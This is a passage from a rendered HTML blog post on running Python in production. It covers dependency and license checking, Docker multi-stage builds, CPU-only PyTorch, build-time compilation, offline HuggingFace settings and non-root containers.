</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#586e75"># Sample dependabot config</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">version</span>: <span style="color:#2aa198">2</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">updates</span>:
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">package-ecosystem</span>: <span style="color:#2aa198">&#34;pip&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">directory</span>: <span style="color:#2aa198">&#34;/&lt;path-to-directory-containing-requirements-or-pyproject.toml&gt;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">schedule</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">interval</span>: <span style="color:#2aa198">&#34;daily&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">open-pull-requests-limit</span>: <span style="color:#2aa198">1</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Further,   
    
    
<a href="https://deptry.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">deptry</a> is a useful tool for finding unused dependencies in Python projects. The results do contain false positives, but it is a good starting point for cleaning up unused dependencies.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ pipx run deptry .  <span style="color:#586e75"># or uv add --group dev deptry &amp;&amp; uv run deptry .</span>
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="keep-code-legally-compliant">Keep code legally compliant</h3>
<p>Python has a lot of libraries with licenses that could be troublesome for the codebase.
E.g., libraries with GPL licenses that could make the 
<a href="/tech/foss-free-and-open-source-code-licensing-faq/">whole</a> codebase GPL.
To avoid it, use   
    
    
<a href="https://github.com/FHPythonUtils/LicenseCheck?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">licensecheck</a> on   
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CI</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ uv run licensecheck --format ansi <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  --only-licenses apache bsd isc mit mpl python unlicense <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  --fail-licenses gpl <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  --show-only-failing <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  --zero
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="deployments">Deployments</h2>
<h3 id="docker">Docker</h3>
<p>Use 
<a href="/tag/docker/">docker</a> for deployments.
Even if you are using GPU-enabled VMs, use Docker and expose the GPU to the container with the following parameter.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run --gpus all ...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Further, use multi-stage builds where you use <code>poetry</code>/<code>uv</code> to build the package and then copy the built package to a
smaller base image on top of   
    
    
<a href="https://hub.docker.com/_/python/tags?name=slim&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">python:3.XX-slim</a>.</p>
<p>I have tried Python&rsquo;s Alpine-based images (<code>python:alpine</code>) and for any non-trivial project,
it is very hard to use it due to
  
    
    
<a href="https://edu.chainguard.dev/chainguard/chainguard-images/about/images-compiled-programs/glibc-vs-musl/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Debian&rsquo;s glibc vs Alpine&rsquo;s musl</a>
differences.
So, I would recommend against using Alpine-based images for Python.</p>
<p>Nore that while there have been attempts at making Python faster like   
    
    
<a href="https://pypy.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PyPy</a>, and   
    
    
<a href="https://github.com/exaloop/codon?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Codon</a>, they are really difficult to use for any non-trivial project. So, stick to the standard Python interpreter.</p>
<h3 id="use-cpu-only-libraries-for-non-gpu-deployments">Use CPU-only libraries for non-GPU deployments</h3>
<p>  
    
    
<a href="https://pytorch.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PyTorch</a> is huge.
If you are going to be using <code>pytorch</code> in a non-GPU deployment, then use the CPU-only version.
It is significantly smaller with no loss of accuracy.</p>
<p>You can configure this with 
<a href="/programming/docker-101-a-basic-web-server-displaying-hello-world/">multi-stage Docker builds</a>
or <code>uv</code> has a   
    
    
<a href="https://docs.astral.sh/uv/guides/integration/pytorch/#installing-pytorch?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">detailed explanation</a>
on how to do this using <code>pyproject.toml</code>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ pip3 install torch --index-url https://download.pytorch.org/whl/cpu
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="compile-code-during-build">Compile code during build</h3>
<p>Compile code during Docker builds.
This ensures that the <code>.pyc</code> files exist.
It is especially useful for faster boot times during container auto-scaling.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#719e07">RUN</span> python -m compileall &lt;code_dir&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="download-external-dependencies-at-build-time">Download external dependencies at build time</h3>
<p>Many libraries like   
    
    
<a href="https://spacy.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">spacy</a> and   
    
    
<a href="https://github.com/huggingface/transformers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">transformers</a> download large chunks of data on the first use.
This not only slows down the container boot time but also makes the Docker build non-hermetic.
This was exposed during a 
<a href="/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/">HuggingFace outage</a>
last year.</p>
<p>Further, prevent downloads during execution with additional library-specific guards.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># First, Download models</span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span><span style="color:#586e75"># And then disable access to HuggingFace completely</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">TRANSFORMERS_OFFLINE</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">HF_HUB_OFFLINE</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> ...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Alternatively, you can place these models in cloud/VM storage (PVC on Kubernetes)
and mount them as Docker volumes during runtime.
For larger models, usually, this is the only choice as building and deploying 5 GiB+ docker images
is noticeably slower.</p>
<h3 id="run-docker-containers-as-a-non-root-user">Run Docker containers as a non-root user</h3>
<p>The Python docker images have a much larger attack surface than my favorite

<a href="/programming/docker-be-careful-about-the-scratch-image/">scratch image</a> for Go deployments.</p>
<p>One should run Python-based containers as a non-root user to reduce the attack surface.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># In the final build stage</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> groupadd -r appuser <span style="color:#719e07">&amp;&amp;</span> useradd -r -g appuser appuser
